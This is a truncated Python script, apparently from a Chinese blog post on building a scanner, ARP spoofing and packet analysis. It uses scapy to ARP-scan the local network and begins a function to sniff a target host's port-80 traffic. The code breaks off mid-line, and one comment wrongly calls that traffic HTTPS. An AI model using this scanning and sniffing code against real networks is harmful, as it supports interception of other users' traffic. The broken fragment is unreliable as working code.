from scapy.all import *
import os
import re
import time
import threading
result=os.popen("route print").read()
re1=re.findall(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(.+?)\s+(.+?)\s",result)
gateway=re1[0][0] #获取本机网关
ip=re1[0][1] #获取本机ip
addr={}
print(ip,gateway)
def scan(IpScan):
print("扫描中,请稍候...")
#r与srp,发送并接受,且sr不能发送二层协议,srp才能。
#ans是收到的有响应的包,unans指收到的没有响应的包。
ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0)
print("本次扫描一共扫描到%d台主机:" % len(ans))
for send,recv in ans:
#接受对方回应包里面的Mac地址和IP地址
print("%s----%s"%(recv[Ether].src,recv[ARP].psrc))
#将对方的回应的Mac地址和IP地址存到字典里面key=ip,value=mac
addr[recv[ARP].psrc]=recv[Ether].src
def cap(tt,m):
#监听接收方ip是m的https信息tt秒,并存到pks里面
pkts=sniff(filter="tcp dst port 80
python 实现扫描器,arp欺骗,数据包分析。
最新推荐文章于 2022-10-07 09:47:20 发布
![](https://img-home.csdnimg.cn/images/20240711042549.png)